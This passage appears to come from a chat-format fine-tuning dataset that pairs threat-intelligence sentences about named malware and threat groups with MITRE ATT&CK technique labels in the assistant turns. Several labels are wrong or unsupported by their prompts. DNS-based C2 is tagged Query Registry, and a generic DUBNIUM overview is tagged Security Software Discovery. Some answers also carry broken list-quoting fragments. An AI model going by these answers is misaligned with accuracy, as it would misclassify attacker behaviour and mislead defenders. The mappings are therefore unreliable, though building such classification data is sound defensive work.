                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka encrypts some C2 traffic with the Blowfish cipher."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The algorithm used by Dyre for generating the AES and IV from the first 48 bytes of data based on a rehashing scheme was commonly referred to as Dyre’s derive_key function, this function was slightly changed in the new bot"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy can create new users on an infected system."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant can perform dynamic DLL importing and API lookups using \"LoadLibrary\" and \"GetProcAddress\" on obfuscated strings."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can enumerate processes, including properties to determine if they have the Common Language Runtime (CLR) loaded."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware SierraAlfa accesses the \"ADMIN$\" share via SMB to conduct lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has decrypted its strings by applying a XOR operation and a decompression using a custom implemented LZM algorithm."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In our previous article, we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Botnet', 'T1588.006 - Vulnerabilities', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 replaces the Sticky Keys binary \"C:\\Windows\\System32\\sethc.exe\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Gamaredon Group file stealer can gather the victim's username to send to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can obtain the id of a logged in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This time, the text is from the novel \"The Brothers Karamazov\" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. For example, the variables are stored in a \"Constant.py\" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used HTTP requests for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindowsDefender.ini – The Base64 encoded and obfuscated PowerShell script"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT has a command to periodically take screenshots of the system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used Windows admin shares to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used HTTP for C2, including sending error codes in Cookie headers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In contrast to the two samples used in these attacks, this one did not use a PE attachment, and instead used a Microsoft Word document containing a malicious macro as the delivery vehicle"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conclusion CVE-2017-0199 and CVE-2017-11882 are two of the more commonly exploited vulnerabilities that we are currently seeing"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems. Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses the Windows service “winmgmts:\\\\.\\root\\SecurityCenter2 ” to check all AntiVirus products installed on the operating system. As shown below in the figure, it is done by creating the object the service “ winmgmts:\\\\.\\root\\SecurityCenter2 ” and executes the query “ Select * From AntiVirusProduct ” by using the same object that is created of a mentioned service"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Derusbi malware supports timestomping."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has the ability to download additional modules and a configuration file from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has the ability to delete files on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Screen Capture Tool usage. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Install a background monitor tool (e.g"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell can obtain the victim IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can be used to conduct packet captures on target hosts."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses COM hijacking as a method of persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Much of the code inside the script is from the library “js-cookie” version 2.2.1. However, the attackers modified it and integrated a credit card skimmer into the original script. The skimmer binds at the events “mousedown” and “touchstart” of the payment submit button"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can base64-decode and AES-decrypt downloaded payloads. Versions of OSX/Shlayer pass encrypted and password-protected code to \"openssl\" and then write the payload to the \"/tmp\" folder."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "discovers the current domain information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 server, which contains system information or the contents of files from the system. The subdomain of the DNS request that acts as the initial C2 beacon has the following structure"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has utilized Zlib compression to obfuscate the communications payload."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in Azazel rootkit"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can install a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS establishes a backdoor over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CARROTBAT malware family is a somewhat unique dropper and while it supports various types of decoy documents, and employs rudimentary command obfuscation, it should be made clear that it is not sophisticated"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can enumerate drives and Remote Desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has sent phishing emails with malicious Microsoft Word attachments to victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another batch script run by a scheduled task renames the archives on the file server (see Figure 15)"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has relied on victims opening a malicious Excel file for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can identify the username, machine name, system language, keyboard layout, OS version, and system drive information on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used DropBox URLs to deliver variants of PlugX."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider obtained a code signing certificate signed by Digicert for some of its malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has the capability to to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has used Apple’s Core Graphic APIs, such as `CGWindowListCreateImageFromArray`, to capture the user's screen and open windows."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used HTTP for network communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The websites contain numerous articles and content to make them seem legitimate; in some cases the websites have over 10,000 individual news articles. Volexity has found the content is largely scraped and reposted in full from various other legitimate online news outlets. This appears to be done in an automated fashion and most likely through WordPress plugins. Numerous posted articles and images can be directly tracked back to other online blogs and newspapers; sometimes the byline or even watermark in images show directly where the article was sourced. In some cases, only a small number of pages on the site contains malicious code; in other cases, the profiling code is pervasive"
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT uses the email platform, Naver, for C2 communications, leveraging SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST collected hostname, OS version, and device uptime."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can receive data and executable scripts from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy uses the \"tasklist\" and \"wmic process get Capture, ExecutablePath\" commands to gather the processes running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SCREEN Takes a PNG screenshot of the main screen and names the file with timestamps, then uploads it to the C2 server using POST at the path “/FeedBack.php”"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can gather the IP address from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used ‘strcpy’ and ‘strcat’ calls to re-build them prior to use. They also used this same technique to generate garbage strings that are never used. Comments have been added to show the fully-generated strings"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When referring to additional plugins, it is worth noting that in early versions of Valak the plugins were downloaded by the second stage JS via PowerShell. More recent versions of Valak abandoned the popular yet easily detectable PowerShell downloader approach and transitioned to PluginHost as a means of managing and downloading additional payloads. This transition indicates that the Valak authors are looking for stealthier approaches and ways to improve their evasion techniques"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork ran a reverse shell with Meterpreter. Patchwork used JavaScript code and .SCT files on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal can set the \"KeepPrintedJobs\" attribute for configured printers in \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Print\\\\Printers\" to enable document stealing."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Table 3: FELIXROOT backdoor parameters  Cryptography All data is transferred to C2 servers using AES encryption and the IbindCtx COM interface using HTTP or HTTPS protocol"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "service-based DLL implant traverses the FTP server’s directories looking for files with keyword matches for computer names or certain keywords."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
